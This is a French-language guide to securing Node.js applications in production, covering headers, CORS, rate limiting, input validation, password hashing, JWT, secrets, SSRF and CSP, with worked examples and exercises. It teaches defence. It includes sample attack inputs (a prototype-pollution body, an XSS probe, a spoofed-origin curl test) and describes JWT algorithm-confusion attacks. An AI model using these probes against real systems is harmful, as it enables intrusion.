Skip to content

Sécurité Node.js en production

TL;DR — La sécurité Node 2026 se joue sur quatre fronts indissociables : supply chain (audit, overrides, socket.dev, scripts désactivés), runtime (helmet, CORS strict, rate limiting, sandboxing pour code non fiable), secrets (jamais en .env committé, Vault ou cloud KMS), et identité (JWT avec algorithmes sûrs, argon2 pour hashing, validation stricte des inputs). Aucun point unique ne suffit : un argon2 parfait protège mal si une lib compromise exfiltre les hashes. L'OWASP Top 10 reste la check-list de base ; les attaques Node-spécifiques (prototype pollution, deserialization, vm sandbox escape) demandent vigilance particulière.

🧠 Mental model — ASCII + analogie

Penser la sécurité en couches :

   ┌──────────────────────────────────────────────────────────────┐
   │  RÉSEAU :  HTTPS, HSTS, CORS, CSP, rate limiting              │
   ├──────────────────────────────────────────────────────────────┤
   │  APP :     validation inputs, sanitization, auth, RBAC        │
   ├──────────────────────────────────────────────────────────────┤
   │  RUNTIME : permission model, sandboxing untrusted code        │
   ├──────────────────────────────────────────────────────────────┤
   │  DEPS :    audit, overrides, scripts désactivés, lockfile     │
   ├──────────────────────────────────────────────────────────────┤
   │  SECRETS : Vault/KMS, rotation, jamais committés              │
   ├──────────────────────────────────────────────────────────────┤
   │  OS :      user non-root, image distroless, lecture seule     │
   └──────────────────────────────────────────────────────────────┘

Analogie : un château avec des douves, des murs, des herses, des gardes. Chaque couche ralentit l'attaquant. Une seule couche compromise ne doit jamais donner les clés du royaume (principe de defense in depth).

🛠️ Code minimal — Express security baseline

ts
import express from 'express'
import helmet from 'helmet'
import cors from 'cors'
import rateLimit from 'express-rate-limit'
import compression from 'compression'

const app = express()

// Trust proxy (derrière un LB)
app.set('trust proxy', 1)

// Helmet : headers de sécurité (CSP, HSTS, X-Frame-Options, etc.)
app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'"],
      objectSrc: ["'none'"],
      upgradeInsecureRequests: [],
    },
  },
  hsts: { maxAge: 31536000, includeSubDomains: true, preload: true },
}))

// CORS strict — pas de `origin: '*'` en prod
app.use(cors({
  origin: ['https://app.example.com'],
  credentials: true,
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  maxAge: 600,
}))

// Body parsing avec limite stricte
app.use(express.json({ limit: '100kb' }))
app.use(express.urlencoded({ extended: false, limit: '100kb' }))

// Rate limiting global
const limiter = rateLimit({
  windowMs: 60_000,
  limit: 100,
  standardHeaders: 'draft-7',
  legacyHeaders: false,
  message: { error: 'too many requests' },
})
app.use(limiter)

// Compression APRÈS rate limit (économise CPU)
app.use(compression())

Pour Fastify, l'équivalent :

ts
import Fastify from 'fastify'
import helmet from '@fastify/helmet'
import cors from '@fastify/cors'
import rateLimit from '@fastify/rate-limit'

const app = Fastify({ logger: true, trustProxy: true, bodyLimit: 100_000 })
await app.register(helmet)
await app.register(cors, { origin: ['https://app.example.com'], credentials: true })
await app.register(rateLimit, { max: 100, timeWindow: '1 minute' })

🛠️ Validation d'inputs — Zod

Ne jamais faire confiance aux inputs. Zod (ou Valibot, Arktype) valide à la frontière.

ts
import { z } from 'zod'

const CreateUserDTO = z.object({
  email: z.string().email().max(254),
  password: z.string().min(12).max(128),
  age: z.number().int().min(13).max(150),
  roles: z.array(z.enum(['user', 'admin'])).max(5),
}).strict()  // refuse les champs inconnus

app.post('/users', async (req, res) => {
  const parsed = CreateUserDTO.safeParse(req.body)
  if (!parsed.success) {
    return res.status(400).json({ error: 'invalid', issues: parsed.error.issues })
  }
  const user = await createUser(parsed.data)
  res.json(user)
})

Le .strict() est crucial : un client malicieux qui envoie { email, password, isAdmin: true } ne doit pas pouvoir passer un champ qui n'est pas dans le schéma (mass assignment).

🛠️ Password hashing — argon2

bcrypt est encore correct mais argon2 (algorithme gagnant du Password Hashing Competition 2015) est l'état de l'art.

ts
import argon2 from 'argon2'

// Hash avec argon2id (résistant aux GPU et timing attacks)
const hash = await argon2.hash(password, {
  type: argon2.argon2id,
  memoryCost: 65536,     // 64 MB
  timeCost: 3,
  parallelism: 4,
})

// Vérification (constant-time)
const ok = await argon2.verify(hash, password)

Bcrypt reste acceptable si tu as déjà une base de hashes bcrypt, mais pour un nouveau système, argon2id par défaut.

🛠️ JWT — pièges et bonnes pratiques

JWT est puissant mais facile à mal utiliser. En 2026, privilégie jose (TypeScript natif, Web Crypto, pas de dépendances, supporte EdDSA/JWE) plutôt que l'ancien jsonwebtoken. On montre les deux pour la compat, mais le code neuf part sur jose.

ts
import { SignJWT, jwtVerify, importPKCS8, importSPKI } from 'jose'

// Charger les clés une fois au boot (PEM → KeyLike)
const privateKey = await importPKCS8(process.env.JWT_PRIVATE_KEY!, 'ES256')
const publicKey = await importSPKI(process.env.JWT_PUBLIC_KEY!, 'ES256')

// Signer (HS256 = symétrique ; RS256/ES256/EdDSA = asymétrique = mieux pour clients)
const token = await new SignJWT({ roles: user.roles })
  .setProtectedHeader({ alg: 'ES256' })
  .setSubject(user.id)
  .setIssuedAt()
  .setExpirationTime('15m')
  .setIssuer('orders-api')
  .setAudience('orders-client')
  .sign(privateKey)

// Vérifier — `jose` exige l'algorithme via la clé : pas de piège `alg: none`
const { payload } = await jwtVerify(token, publicKey, {
  algorithms: ['ES256'],          // ← double sécurité, explicite
  issuer: 'orders-api',
  audience: 'orders-client',
  clockTolerance: '5s',           // tolérance de dérive d'horloge
})

Avec l'ancien jsonwebtoken, le piège mortel est l'option algorithms :

ts
import jwt from 'jsonwebtoken'

// ❌ Sans `algorithms`, un JWT signé avec `alg: none` peut passer
const bad = jwt.verify(token, secret)

// ✅ TOUJOURS whitelister
const payload = jwt.verify(token, process.env.JWT_PUBLIC_KEY!, {
  algorithms: ['ES256'],          // ← essentiel
  issuer: 'orders-api',
  audience: 'orders-client',
})

Pourquoi algorithms est obligatoire : sans cette option, l'attaquant peut envoyer un JWT signé avec none (pas de signature) — ou, pire, confusion d'algorithme RS256→HS256 : si tu vérifies une clé RSA publique mais que la lib accepte HS256, l'attaquant signe un token HMAC en utilisant ta clé publique (qui est publique !) comme secret. La lib le valide. CVE récurrente depuis 2015, encore exploitée.

Autres règles JWT :

  • Pas plus de 15-30 min sur les access tokens. Au-delà, utilise des refresh tokens.
  • Pas de secret faible pour HS256 : minimum 256 bits aléatoires (crypto.randomBytes(32)).
  • Pas de données sensibles dans le payload : un JWS est seulement signé, pas chiffré. Tout le monde peut décoder le payload en base64. Pour chiffrer, c'est un JWE (rare, et souvent le signe qu'on met trop de choses dans le token).
  • Révocation : JWT stateless = pas révocable par défaut. Stratégies, du plus simple au plus robuste : (1) TTL court + refresh révocable (le plus courant) ; (2) blocklist de jti dans Redis avec TTL = durée de vie restante du token ; (3) claim token_version par user incrémentée au logout global / changement de mot de passe, vérifiée à chaque requête (coûte une lecture mais permet "déconnecter partout").
  • Rotation de clés : signe avec un kid dans le header, expose les clés publiques via un JWKS (/.well-known/jwks.json). Tu peux ainsi tourner la clé de signature sans invalider les tokens en vol (les deux clés coexistent le temps du TTL).

Comment un staff raisonne sur l'auth : "stateless vs stateful" est un faux débat. Le vrai axe est où vit l'autorité de révocation. Un access token court (stateless, rapide à vérifier) + un refresh token long stocké côté serveur (stateful, révocable) te donne le meilleur des deux : performance sur le chemin chaud, contrôle sur le chemin de révocation. Si ta révocation doit être instantanée (banque, santé), accepte le coût d'une lecture Redis par requête — la latence est négligeable devant le risque.

🛠️ Secrets management

bash
# ❌ Mauvais : .env committé
DB_PASSWORD=p@ssw0rd

# ✅ Mieux : .env local, .env.example en repo, .env dans .gitignore
# ✅ Encore mieux : secrets injectés par l'orchestrateur (K8s, Vault, AWS Secrets Manager)

Pour Node 20+, le flag --env-file charge un .env natif :

bash
node --env-file=.env src/server.ts

Mais en prod, jamais de fichier .env : utilise un secret manager.

ts
// AWS Secrets Manager
import { SecretsManagerClient, GetSecretValueCommand } from '@aws-sdk/client-secrets-manager'

const client = new SecretsManagerClient({})
const cmd = new GetSecretValueCommand({ SecretId: 'prod/db/credentials' })
const { SecretString } = await client.send(cmd)
const { username, password } = JSON.parse(SecretString!)

Pour Vault, GCP Secret Manager, idem : le secret est récupéré au boot, jamais persisté sur disque, rotation automatique côté plateforme.

🎯 Patterns courants

1. Prototype pollution

Une attaque classique contre les libs qui font Object.assign(target, JSON.parse(userInput)) :

ts
// ❌ Vulnérable
const opts = {}
Object.assign(opts, JSON.parse(req.body))  // si body = {"__proto__": {"admin": true}} → tous les objets ont admin: true

// ✅ Mitigation
const opts = Object.create(null)  // pas de prototype
Object.assign(opts, JSON.parse(req.body))

// ✅ Encore mieux : validation Zod stricte qui rejette __proto__, constructor, prototype

Les libs vulnérables passent — vérifie avec npm audit et socket.dev.

2. Rate limiting par identité

Le rate limiting global protège mal contre les attaques ciblées. Limite par IP + par user.

ts
import rateLimit from 'express-rate-limit'

const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  limit: 5,
  keyGenerator: (req) => req.body?.email ?? req.ip,  // par email tenté
  handler: (req, res) => res.status(429).json({ error: 'too many login attempts' }),
})

app.post('/login', loginLimiter, loginHandler)

Pour la haute échelle : Redis-backed (rate-limit-redis) pour partager les compteurs entre instances.

3. CORS strict, jamais wildcard avec credentials

ts
// ❌ Catastrophe
cors({ origin: '*', credentials: true })  // INVALIDE par spec mais certaines libs laissent passer

// ❌ Encore catastrophe (whitelist dynamique trop large)
cors({ origin: (origin, cb) => cb(null, true) })

// ✅ Liste explicite
const allowed = ['https://app.example.com', 'https://admin.example.com']
cors({ origin: (origin, cb) => {
  if (!origin || allowed.includes(origin)) cb(null, true)
  else cb(new Error('CORS denied'))
}, credentials: true })

4. Sandboxing du code non fiable

Si tu exécutes du code utilisateur (eval de plugins, formules custom), vm2 est mort (CVE 2023 démolissant la sandbox). Alternatives :

  • isolated-vm : sandbox V8 réelle (process isolé), maintenu.
  • Workers + restrictions : worker_threads + permission model Node 22+.
  • Deno runtime embedded : deno_runtime Rust crate ou subprocess Deno.
  • WASM : code utilisateur compilé en WebAssembly (excellent isolation par design).
ts
import ivm from 'isolated-vm'

const isolate = new ivm.Isolate({ memoryLimit: 32 })  // MB
const context = await isolate.createContext()
const jail = context.global
await jail.set('input', userInput)
const script = await isolate.compileScript(`(function() { return input.toUpperCase() })()`)
const result = await script.run(context, { timeout: 1000 })
isolate.dispose()

5. Permission model Node 22+

Node 22+ ajoute un permission model expérimental pour limiter ce que peut faire un script :

bash
node --experimental-permission \
     --allow-fs-read=/app \
     --allow-fs-write=/tmp \
     --allow-net=api.example.com \
     src/server.ts

Utile pour les scripts CI ou les fonctions tierces. Encore expérimental en 2026.

6. Supply chain — outils essentiels

bash
# Audit régulier (CI)
pnpm audit --audit-level=high
npm audit --omit=dev

# Overrides ciblés
# package.json
# {
#   "pnpm": { "overrides": { "lodash@<4.17.21": "^4.17.21" } }
# }

# Socket.dev — analyse dynamique des installs
npx socket@latest install

# Snyk
npx snyk test
npx snyk monitor

# Désactiver scripts au lieu de leur faire confiance
pnpm install --ignore-scripts
# Puis autoriser explicitement
pnpm approve-builds

Le principe d'or : ton lockfile est ta surface d'attaque. Plus tu dépend de packages, plus tu es exposé. Audit ce que tu utilises vraiment (depcheck).

🔄 Versions — Node 18 / 20 / 22 / 24

VersionSécurité
18Webcrypto stable, fetch GA
20Permission model expérimental introduit (--experimental-permission)
22Permission model amélioré, SQLite intégré (node:sqlite), Webcrypto étendu
24V8 latest avec mitigations Spectre/Meltdown, perf cryptographique++

Node 18 sort de LTS en avril 2025 → bascule vers 20 ou 22. Le support 18 ne reçoit plus que les patchs critiques.

⚠️ Pitfalls

  • Trust en process.env non validé : parseInt(process.env.PORT) peut retourner NaN. Valide ta config au boot avec un schéma Zod, fail fast si invalide.
  • Math.random() pour des secrets : pas cryptographiquement sûr. Utilise crypto.randomBytes() ou crypto.randomUUID().
  • eval ou new Function(...) sur input utilisateur : tu donnes les clés du process. Cherche-les avec ESLint (no-eval, no-new-func).
  • HTTPS local desactivé en prod par accident : NODE_TLS_REJECT_UNAUTHORIZED=0 dans une variable d'env propagée en prod. Boucle process.env et alerte si présent.
  • Erreurs leaked dans les réponses : res.status(500).json({ error: err.stack }). Tu donnes ton schéma DB à l'attaquant. En prod, retourne un message générique et logge le détail côté serveur.
  • Sessions cookies sans flags : cookie: { secure, httpOnly, sameSite: 'strict' } doit toujours être set. Sinon : MITM, XSS, CSRF triviaux.
  • Dépendances obsolètes pendant des mois : un CVE publié et exploité avant que tu ne mettes à jour. Renovate/Dependabot avec un SLA (high → < 7j, critical → < 24h).
  • JWT en localStorage : XSS = vol du token. Préfère un cookie httpOnly + samesite ou (en SPA) une mémoire JS volatile avec refresh via cookie.
  • CSRF protection oubliée : si tu acceptes des cookies pour l'auth, tu dois protéger les mutations (POST/PUT/DELETE) avec un token CSRF ou un header Origin/Referer strict.
  • Logs qui contiennent les secrets : logger.info({ req }) log tout, y compris Authorization: Bearer xxx. Active redact agressif sur pino.

🧪 Testing — vérifier la sécurité

bash
# 1. Audit deps
pnpm audit --audit-level=high

# 2. Headers de sécurité
curl -I https://api.example.com/health | grep -iE "strict-transport|x-frame|content-security"

# 3. CORS test
curl -H "Origin: https://evil.com" -I https://api.example.com/

# 4. Rate limit test
for i in {1..200}; do curl -s -o /dev/null -w "%{http_code}\n" https://api.example.com/login; done

# 5. SAST (Static Application Security Testing)
npx eslint . --plugin security  # ESLint security plugin
npx semgrep --config=p/owasp-top-10 src/

# 6. SCA (Software Composition Analysis)
npx snyk test
npx socket@latest npm install --dry-run

🎬 Cas d'usage concrets

Scénario 1 — SaaS RH "PaySimple" helmet + CSP stricte

PaySimple sert un dashboard web qui affiche des fiches de paie et des données salariales très sensibles. Un attaquant qui injecterait du JS dans la page (via XSS sur un commentaire de note de frais, par exemple) pourrait exfiltrer toutes les fiches de paie visibles. L'équipe a mis en place une CSP (Content Security Policy) très restrictive via @fastify/helmet.

ts
await app.register(helmet, {
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "'nonce-{NONCE}'"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", 'data:', 'https://cdn.paysimple.io'],
      connectSrc: ["'self'", 'https://api.paysimple.io', 'https://sentry.io'],
      fontSrc: ["'self'", 'https://cdn.paysimple.io'],
      frameAncestors: ["'none'"],
      formAction: ["'self'"],
      objectSrc: ["'none'"],
      baseUri: ["'self'"],
      upgradeInsecureRequests: [],
    },
    reportOnly: false,
    reportUri: '/api/csp-violations',
  },
  hsts: { maxAge: 63072000, includeSubDomains: true, preload: true },
  referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
})

Le nonce est généré par requête et injecté dans le HTML SSR Next.js + dans la CSP — seuls les scripts avec le bon nonce s'exécutent. Toute tentative d'injection inline est bloquée. Les violations sont reportées sur /api/csp-violations et analysées hebdomadairement (souvent : un dev qui ajoute un nouveau CDN sans whitelister, plus rarement : une vraie tentative). Bénéfice : 3 tentatives XSS bloquées en prod en 2025 sans impact utilisateur. La CSP a aussi forcé l'équipe à arrêter les scripts inline et à mieux structurer le frontend.

Scénario 2 — Banque "NeoCrédit" supply chain audit avec socket.dev

NeoCrédit ne peut pas se permettre une attaque supply chain (un package npm compromis qui exfiltre des données client). En plus du pnpm audit classique, ils ont intégré socket.dev comme GitHub App qui scanne chaque PR et bloque le merge si une nouvelle dépendance présente des risques.

Socket.dev détecte : (1) install scripts qui font des appels réseau ou écrivent dans /tmp, (2) code obfusqué (concaténation de strings, eval, base64 décodé runtime), (3) télémétrie cachée (un package qui envoie des hashes machine à un domaine inconnu), (4) typosquats (lodash → lodash-utils), (5) maintainer compromis (un release publiée depuis une nouvelle adresse IP / nouveau pays). Sur 18 mois, l'équipe a eu 11 alertes socket.dev — 4 vrais positifs (PR rejetées : packages malicieux fraîchement publiés), 7 faux positifs (libs légitimes avec install scripts justifiés). Les 4 vrais cas auraient potentiellement exfiltré des secrets en prod, le coût d'incident évité est chiffré à plusieurs M€ par l'équipe sécurité. Complément : npm audit signatures (sigstore) qui vérifie que chaque package est signé par son maintainer GitHub.

Scénario 3 — E-commerce "ModeCircuit" rate limiting multi-niveau

ModeCircuit subit régulièrement des attaques de credential stuffing (bots qui testent des couples email/password volés sur d'autres sites) et du scraping (bots qui aspirent le catalog pour de la veille concurrentielle). Solution multi-niveau :

(1) Cloudflare WAF en frontline : bloque les bots connus, applique des rate limits agressifs par IP (100 req/min en moyenne). (2) @fastify/rate-limit en application : 5 tentatives /login par IP par 15 min (anti-credential-stuffing), 200 req/min par utilisateur authentifié sur le checkout (anti-bot). (3) Redis backend pour le rate limit (distribué entre instances Fastify). (4) Captcha hCaptcha déclenché automatiquement au 3e échec login.

ts
await app.register(rateLimit, {
  global: false,
  redis: redisClient,
  keyGenerator: (req) => req.user?.id ?? req.ip,
})

app.post('/login', {
  config: {
    rateLimit: { max: 5, timeWindow: '15 minutes', keyGenerator: (req) => req.body.email },
  },
  handler: loginHandler,
})

app.post('/checkout', {
  config: { rateLimit: { max: 30, timeWindow: '1 minute' } },
  handler: checkoutHandler,
})

Bénéfice mesuré : -82 % de tentatives de credential stuffing après mise en place (les bots abandonnent après 5 échecs), zéro incident "compte compromis via brute force" en 18 mois, et le scraping est devenu non-rentable pour les concurrents.

🛠️ Exemple end-to-end

Cas d'usage : "endpoint /auth/login ModeCircuit complet — argon2 pour le hash, rate limit Redis, JWT signé avec rotation de clés, audit log signé, et headers sécurité helmet".

ts
// src/auth/login.ts
import type { FastifyPluginAsync } from 'fastify'
import argon2 from 'argon2'
import { z } from 'zod'
import { SignJWT } from 'jose'
import crypto from 'node:crypto'

const LoginInput = z.object({
  email: z.string().email().max(254),
  password: z.string().min(1).max(200),
  hcaptchaToken: z.string().optional(),
})

export const loginPlugin: FastifyPluginAsync = async (app) => {
  app.post('/auth/login', {
    config: {
      rateLimit: {
        max: 5,
        timeWindow: '15 minutes',
        keyGenerator: (req) => (req.body as any)?.email ?? req.ip,
        errorResponseBuilder: () => ({ error: { code: 'RATE_LIMITED', message: 'too many attempts' } }),
      },
    },
    schema: { body: LoginInput },
    handler: async (req, reply) => {
      const { email, password, hcaptchaToken } = req.body as z.infer<typeof LoginInput>

      const failedAttempts = await app.redis.incr(`login:fail:${email}`)
      await app.redis.expire(`login:fail:${email}`, 900)

      if (failedAttempts >= 3) {
        if (!hcaptchaToken) {
          return reply.code(401).send({ error: { code: 'CAPTCHA_REQUIRED' } })
        }
        const captchaOk = await verifyHCaptcha(hcaptchaToken)
        if (!captchaOk) {
          await auditLog(app, { event: 'login.captcha_failed', email, ip: req.ip })
          return reply.code(401).send({ error: { code: 'CAPTCHA_INVALID' } })
        }
      }

      const user = await app.db.users.findByEmail(email)
      if (!user) {
        await argon2.verify(DUMMY_HASH, password)
        await auditLog(app, { event: 'login.failed', email, ip: req.ip, reason: 'user_not_found' })
        return reply.code(401).send({ error: { code: 'INVALID_CREDENTIALS' } })
      }

      const valid = await argon2.verify(user.passwordHash, password)
      if (!valid) {
        await auditLog(app, { event: 'login.failed', email, ip: req.ip, reason: 'bad_password' })
        return reply.code(401).send({ error: { code: 'INVALID_CREDENTIALS' } })
      }

      if (argon2.needsRehash(user.passwordHash, { type: argon2.argon2id, memoryCost: 19456 })) {
        const newHash = await argon2.hash(password, { type: argon2.argon2id, memoryCost: 19456 })
        await app.db.users.update({ id: user.id }, { passwordHash: newHash })
      }

      await app.redis.del(`login:fail:${email}`)

      const currentKey = await app.kms.getActiveSigningKey()
      const jti = crypto.randomUUID()
      const token = await new SignJWT({ sub: user.id, email: user.email, roles: user.roles })
        .setProtectedHeader({ alg: 'EdDSA', kid: currentKey.id })
        .setIssuedAt()
        .setExpirationTime('15m')
        .setJti(jti)
        .setIssuer('https://api.modecircuit.com')
        .setAudience('modecircuit-web')
        .sign(currentKey.privateKey)

      const refreshToken = crypto.randomBytes(48).toString('base64url')
      await app.db.refreshTokens.insert({
        userId: user.id,
        tokenHash: crypto.createHash('sha256').update(refreshToken).digest('hex'),
        expiresAt: new Date(Date.now() + 30 * 24 * 3600 * 1000),
        ip: req.ip,
        userAgent: req.headers['user-agent'],
      })

      await auditLog(app, { event: 'login.success', userId: user.id, email, ip: req.ip, jti })

      reply.setCookie('refresh_token', refreshToken, {
        httpOnly: true, secure: true, sameSite: 'strict', path: '/auth/refresh',
        maxAge: 30 * 24 * 3600,
      })
      return reply.code(200).send({ accessToken: token, expiresIn: 900 })
    },
  })
}

async function auditLog(app: any, entry: Record<string, unknown>) {
  const signed = {
    ...entry,
    at: new Date().toISOString(),
    sig: crypto.createHmac('sha256', process.env.AUDIT_HMAC_KEY!).update(JSON.stringify(entry)).digest('hex'),
  }
  await app.kafka.produce('audit.security', signed)
}

const DUMMY_HASH = '$argon2id$v=19$m=19456,t=2,p=1$dummysaltforTimingAttack$dummyHashOfTheSamLength=='

Cet endpoint combine onze pratiques security seniors : (1) validation Zod stricte sur l'input (longueur max email, password), (2) rate limit Redis par email (anti-credential-stuffing), (3) compteur d'échecs avec déclenchement hCaptcha au 3e (anti-bot intelligent), (4) argon2.verify sur un dummy hash quand l'utilisateur n'existe pas (anti-timing-attack : la réponse "user not found" prend le même temps que "wrong password"), (5) argon2.needsRehash pour migrer les anciens hashes vers les nouveaux paramètres (sans demander au user de réinitialiser), (6) reset du compteur d'échec après succès, (7) JWT signé EdDSA avec kid pour la rotation de clés (la clé active vient du KMS), (8) jti (JWT ID) unique pour permettre la révocation, (9) refresh token aléatoire 384-bit hashé en DB (jamais en clair), (10) cookie refresh HttpOnly + Secure + SameSite=strict + path scoped, (11) audit log signé HMAC publié sur Kafka (immutable trail pour les audits). C'est ce niveau de défense en profondeur qui a permis à ModeCircuit de tenir 18 mois sans compte compromis malgré les attaques constantes.


🔁 Quand utiliser / éviter

MécanismeQuandÉviter quand
helmetToute app HTTP exposéeMicroservice interne sans browser
CORS strictAPI consommée par un browserService-to-service (utiliser mTLS)
JWTAPI stateless, microservicesSession monolithique (sessions DB plus simple)
argon2Nouveau système d'authCompat avec hashes bcrypt existants (migration)
isolated-vmCode utilisateur arbitraireCode de confiance (overhead inutile)
Vault/KMSProd sérieusePrototype solo (variables d'env OK)

🛠️ OWASP Top 10 — mapping Node-spécifique

OWASP 2021Risque NodeMitigation
A01 Broken Access ControlMass assignment, IDORZod .strict(), RBAC explicite, ownership checks
A02 Cryptographic FailuresJWT none, secrets in envalgorithmes whitelistés, Vault, argon2
A03 InjectionSQL injection, prototype pollutionPrepared statements (pg, prisma), Object.create(null)
A04 Insecure DesignPas de threat modelThreat modeling au design
A05 Security Misconfigurationhelmet absent, CORS *helmet + cors strict + headers
A06 Vulnerable Componentsnpm deps obsolètesnpm audit, Renovate, Socket
A07 Auth Failuresbcrypt rounds bas, session fixargon2id, session rotation, MFA
A08 Integrity Failuresdépendance non signéenpm audit signatures, Cosign
A09 Logging Failureslogs non agrégés, sans corrélationpino structuré + OTel + alerting
A10 SSRFfetch(userInput.url)URL allowlist, DNS rebinding mitigation

🛠️ Pattern SSRF — protection sérieuse

Si ton service fetch des URLs fournies par l'utilisateur (webhooks, image proxy, etc.), tu dois te protéger contre SSRF.

ts
import { URL } from 'node:url'
import dns from 'node:dns/promises'
import net from 'node:net'

const PRIVATE_RANGES = [
  /^10\./, /^172\.(1[6-9]|2[0-9]|3[01])\./, /^192\.168\./,
  /^127\./, /^169\.254\./, /^0\./, /^::1$/, /^fc00:/, /^fe80:/,
]

async function safeFetch(rawUrl: string) {
  const url = new URL(rawUrl)

  // 1. Protocol whitelist
  if (!['http:', 'https:'].includes(url.protocol)) {
    throw new Error('protocol not allowed')
  }

  // 2. Port whitelist
  const port = Number(url.port || (url.protocol === 'https:' ? 443 : 80))
  if (![80, 443, 8080, 8443].includes(port)) {
    throw new Error('port not allowed')
  }

  // 3. Résoudre le DNS et vérifier que ça ne pointe pas sur du privé
  const addrs = await dns.lookup(url.hostname, { all: true })
  for (const addr of addrs) {
    if (PRIVATE_RANGES.some(r => r.test(addr.address))) {
      throw new Error('private IP forbidden')
    }
  }

  // 4. fetch avec timeout court
  const controller = new AbortController()
  const timeout = setTimeout(() => controller.abort(), 5000)
  try {
    return await fetch(url, { signal: controller.signal, redirect: 'error' })
  } finally {
    clearTimeout(timeout)
  }
}

Note : redirect: 'error' empêche les redirections (un attaquant peut faire un redirect 302 vers 127.0.0.1). Si tu veux des redirects, ré-applique la validation à chaque hop.

Le piège senior — TOCTOU / DNS rebinding : le code ci-dessus a une faille subtile. Entre le dns.lookup (validation) et le fetch (utilisation), le serveur DNS de l'attaquant peut répondre 1.2.3.4 la première fois (passe la validation) puis 127.0.0.1 la seconde (le fetch tape le loopback). C'est le TOCTOU (Time-Of-Check-To-Time-Of-Use). La vraie mitigation : résoudre le DNS une seule fois, valider l'IP, puis forcer le fetch à se connecter à cette IP précise — via une lookup custom dans un agent undici (ou un dispatcher) qui renvoie l'IP déjà validée. Sans ce pinning, ta validation DNS est cosmétique. En pratique : déléguer ce risque à une couche réseau (egress proxy avec allowlist, ou un service mesh qui refuse les destinations internes) est souvent plus robuste que du code applicatif.

ts
import { Agent } from 'undici'

// Agent qui force la connexion sur l'IP déjà validée (anti-rebinding)
function pinnedAgent(validatedIp: string) {
  return new Agent({
    connect: { lookup: (_host, _opts, cb) => cb(null, validatedIp, net.isIPv6(validatedIp) ? 6 : 4) },
  })
}
// fetch(url, { dispatcher: pinnedAgent(addrs[0].address), signal: controller.signal })

🛠️ Content Security Policy

Pour les apps qui servent du HTML, CSP est l'outil le plus puissant contre XSS.

ts
app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.cspNonce}'`],
    styleSrc: ["'self'", "'unsafe-inline'"],
    imgSrc: ["'self'", "data:", "https:"],
    connectSrc: ["'self'", "https://api.example.com"],
    fontSrc: ["'self'", "https://fonts.gstatic.com"],
    objectSrc: ["'none'"],
    frameAncestors: ["'none'"],
    upgradeInsecureRequests: [],
    reportUri: "/csp-report",
  },
  reportOnly: false,
}))

// Génération du nonce par requête
import { randomBytes } from 'node:crypto'
app.use((req, res, next) => {
  res.locals.cspNonce = randomBytes(16).toString('base64')
  next()
})

Le nonce est inclus dans les <script nonce="..."> du HTML. Sans le bon nonce, le browser refuse d'exécuter — même si XSS injecte un <script>.

🛠️ Patterns d'authentification modernes

Refresh tokens

ts
// 1. Login : retourne access (15min) + refresh (7j)
async function login(email: string, password: string) {
  const user = await findUser(email)
  if (!user || !await argon2.verify(user.passwordHash, password)) {
    throw new Error('invalid credentials')
  }
  const accessToken = signJwt({ sub: user.id, type: 'access' }, '15m')
  const refreshToken = signJwt({ sub: user.id, type: 'refresh', jti: uuid() }, '7d')
  await storeRefreshToken(refreshToken)  // pour pouvoir révoquer
  return { accessToken, refreshToken }
}

// 2. Refresh : produit un nouveau access (et rotate le refresh)
async function refresh(refreshToken: string) {
  const payload = verifyJwt(refreshToken)
  if (payload.type !== 'refresh') throw new Error('invalid')
  const exists = await checkRefreshToken(payload.jti)
  if (!exists) throw new Error('revoked')   // déjà utilisé ou révoqué
  await rotateRefreshToken(payload.jti)
  return { accessToken: signJwt({ sub: payload.sub, type: 'access' }, '15m') }
}

Le refresh token rotation : à chaque refresh, l'ancien refresh est invalidé. Si jamais quelqu'un vole un refresh et l'utilise, le légitime se fera kick au prochain refresh → détection.

OAuth/OIDC

Pour login social, n'implémente pas OAuth toi-même. Utilise une lib éprouvée (openid-client, Auth.js, Clerk, Auth0) ou un IdP managé. OAuth a 30 façons d'être mal fait.

🏋️ Exercices

Du plus simple au plus dur. Chaque exercice est conçu pour casser une intuition naïve.

Exercice 1 — Config validée au boot (fail-fast)

Objectif : écrire un loader de config qui valide process.env avec Zod au démarrage et refuse de booter si un secret manque ou si NODE_TLS_REJECT_UNAUTHORIZED=0 est présent.

Indice/Solution : un schéma z.object({ PORT: z.coerce.number().int().positive(), JWT_PRIVATE_KEY: z.string().min(1), DATABASE_URL: z.string().url() }). Parse au top-level du module config ; process.exit(1) sur échec avec console.error(parsed.error.format()). Ajoute un z.literal(undefined) (ou un refinement) sur NODE_TLS_REJECT_UNAUTHORIZED pour planter si quelqu'un désactive TLS. Le test : démarrer sans JWT_PRIVATE_KEY doit crasher avant d'ouvrir le port, pas au premier login.

Exercice 2 — Login durci (timing-safe + lockout)

Objectif : implémenter /login avec argon2id, réponse en temps constant (même latence "user inconnu" vs "mauvais mot de passe"), lockout progressif (5 échecs → captcha, 10 → 15 min de blocage) backé par Redis.

Indice/Solution : toujours appeler argon2.verify(DUMMY_HASH, password) quand l'utilisateur n'existe pas (sinon l'absence du hash répond en 1 ms et leak l'existence du compte). Compteur INCR login:fail:<email> + EXPIRE. Le DUMMY_HASH doit avoir les mêmes paramètres (m, t, p) que les vrais hashes, sinon le timing diffère quand même. Mesure : for i in {1..50}; do time curl ...; done et compare les distributions des deux cas — elles doivent se chevaucher.

Exercice 3 — CSP avec nonce de bout en bout

Objectif : servir une page SSR avec une CSP stricte à nonce, vérifier qu'un <script> inline injecté est bloqué par le navigateur, et collecter les violations sur un endpoint /csp-report.

Indice/Solution : middleware qui pose res.locals.cspNonce = randomBytes(16).toString('base64') avant helmet, injecte le même nonce dans <script nonce="..."> du HTML. Test d'attaque : injecter <img src=x onerror=alert(1)> dans un champ rendu — la CSP script-src 'self' 'nonce-...' doit le bloquer (regarde la console : Refused to execute inline event handler). Piège : 'unsafe-inline' est ignoré quand un nonce est présent (bonne nouvelle, c'est voulu) ; un 'unsafe-eval' traînant ruine tout.

Exercice 4 — Casser puis réparer le SSRF (production-grade)

